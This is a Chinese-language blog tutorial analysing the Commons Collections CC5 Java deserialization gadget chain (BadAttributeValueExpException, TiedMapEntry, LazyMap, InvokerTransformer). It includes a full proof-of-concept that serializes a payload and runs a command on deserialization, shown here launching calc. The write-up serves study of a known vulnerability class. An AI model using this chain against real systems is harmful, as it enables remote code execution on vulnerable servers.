背景

CC5链可以弥补JDK 8u71及以上版本LazyMapCC1AnnotationInvocationHandler类无法利用的情况,该链的链尾还是使用LazyMapCC1或者CC6的后半部分,而链首新引入了两个类。

CC5链分析

链尾InvokerTransformer、LazyMap

CC1的流程图拿过来看一下

其中我们使用的链尾如下图:

把CC1或者CC6的链尾代码拿过来直接用。

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer);

通过如上流程图可以知道,现在需要找一个类去调用LazyMap类的get()方法

TiedMapEntry

其中TiedMapEntry#toString()方法可以调用到get()方法

跟进其中的getValue()方法看一下,可以看到调用了get()

再找一下map参数是从哪里传的

看到其作用域为public,map可直接传参构造

该类的toString()方法可以调用到get()方法,通过map参数把LazyMap传入即可调用到LazyMap#get(),因此接下来需要继续找哪个类可以调用toString()方法

如下:

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap, "key");

BadAttributeValueExpException

ysoserial找的链首为BadAttributeValueExpException

跟进去看一下详情

toString()readobject()两个方法看起来就很显眼

其中readobject()方法中会自动调用valObj.toString(),而valObj又是被val变量赋值,因此可以通过反射给val修改值为TiedMapEntry类即可

1
2
3
4
5
6
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);  

Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

POC

根据上方的思路完成最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package classloader;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decoratemap, "key");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
// serialize(badAttributeValueExpException);
unserialize("2.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

成功弹出计算器

流程图

CC5

总流程图

总结

该链只是对CC1或者CC6换了个链首类,变得很少很好理解。